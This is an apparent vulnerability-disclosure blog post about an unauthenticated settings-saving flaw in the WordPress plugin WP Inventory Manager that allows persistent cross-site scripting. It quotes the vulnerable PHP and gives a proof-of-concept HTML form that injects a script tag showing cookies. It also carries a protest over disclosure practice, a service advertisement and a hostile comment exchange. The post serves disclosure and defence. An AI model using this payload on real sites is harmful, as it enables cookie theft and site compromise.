15 Apr 2019

Persistent Cross-Site Scripting (XSS) Vulnerability in WP Inventory Manager

One of the changelog entries for the latest version of WP Inventory Manager
is “Address security data sanitization in various $_POST, $_GET, $_REQUEST.” When we went to look at that change to see if there was a vulnerability we should add to our data set we noticed the two latest log entries for the plugin in the Subversion repository, which underlies the WordPress Plugin Directory, were “Updating to 1.7.9 for wordpress team review” and “Update for Plugin Review Team”. It’s not clear what that refers to, but when we went to look to see about the changes made, it looked like security changes related to the plugin’s settings had been made, so we installed the previous version of the plugin and started looking to see if looked like there was previously a vulnerability. What we saw is that there still looked to be a vulnerability, since the changes made didn’t seem to fix an issue we saw. When we went to look further we had a hard time finding the code related to the vulnerability and when we finally did we found that the situation was worse, as you don’t even need to be logged in to change the plugin’s settings and through that you can cause persistent cross-site scripting (XSS).

The code that starts this is a bit complicated, so we will skip a bit to the function admin_init() in the file /includes/wpinventory.admin.class.php, which runs during admin_init. That will run even not logged in when accessing the page /wp-admin/admin-post.php. Here is the beginning of that function:

75
76
77
78
79
80
81
82
83
84
85
86
87
public function admin_init() {
	$page = self::request( 'page' );
 
	self::handle_filter_state( $page );
 
	if ( 'wpim_manage_settings' !== $page ) {
		return;
	}
 
	$action = self::get_action();
 
	if ( 'save' == $action || 'save-force' == $action ) {
		if ( self::save_settings() ) {

That code will run the function save_settings() if the GET or POST input “page” is set to wpim_manage_settings and the GET or POST input “action” is set to save.

That function will save new values for the settings without sanitizing the user input first:

2867
2868
private static function save_settings() {
	$settings = self::getOptions();
2891
2892
2893
2894
2895
2896
2897
	foreach ( $settings AS $field => $value ) {
		/**
		 * TODO:  This needs reworked because it ONLY fires when a field is set. An empty checkbox will not be updated here.  This pertains to PT ticket ID#  #163400170
		 *
		 */
		if ( isset( $_POST[ $field ] ) ) {
			self::updateOption( $field, $_POST[ $field ] );

What is missing in that code is a capabilities check to limit who can access the settings saving functionality, a check for a valid nonce to prevent cross-site request forgery (CSRF), and sanitation when updating the settings.

As the proof of concept below shows, at least one setting is then output without being escaped, which is a persistent XSS vulnerability.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since multiple previously full disclosed vulnerabilities were quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Proof of Concept

The following proof of concept will cause an alert box with any available cookies to be shown when visiting the plugin’s setting page, /wp-admin/admin.php?page=wpim_manage_settings.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php?page=wpim_manage_settings" method="POST">
<input type="hidden" name="action" value="save" />
<input type="hidden" name="reserve_email" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.


Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

5 thoughts on “Persistent Cross-Site Scripting (XSS) Vulnerability in WP Inventory Manager

  1. Did you try to contact the plugin developer? Or, just write this article for your own gain because you are upset with the WordPress moderators? Before you go trashing peoples projects, I would assume (hope) that you contact the author first. If you did, then I apologize for writing here. If not, that isn’t cool to just start bashing someone’s project in a publicly facing manner.

    • It would help if you read our post, where this was already explained, but here it is again:

      Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since multiple previously full disclosed vulnerabilities were quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

    • We should note that this is actually the developer of the plugin, though not using their real name for some reason. They threatened to sue us because they falsely believed there was not a vulnerability because they don’t understand WordPress’ security model. Based on our communication you would probably want to avoid anything that involves them, since they don’t seem to be able to handle themselves in a professional manner.

  2. Yep. No fooling you big guy :). Lol. I work with Chuck in the same office (shared IP). But hey, your the genius. Keep crying us rivers buddy. Crocodile tears and your site is comical to read. Anybody visiting here can clearly see you are unhinged and an adult baby. Get over yourself!!

    • We didn’t rely on the IP address used to make the connection, so using the same IP address wouldn’t have caused us to conflate two people here.

Leave a Reply to Plugin Vulnerabilities Cancel reply

Your email address will not be published.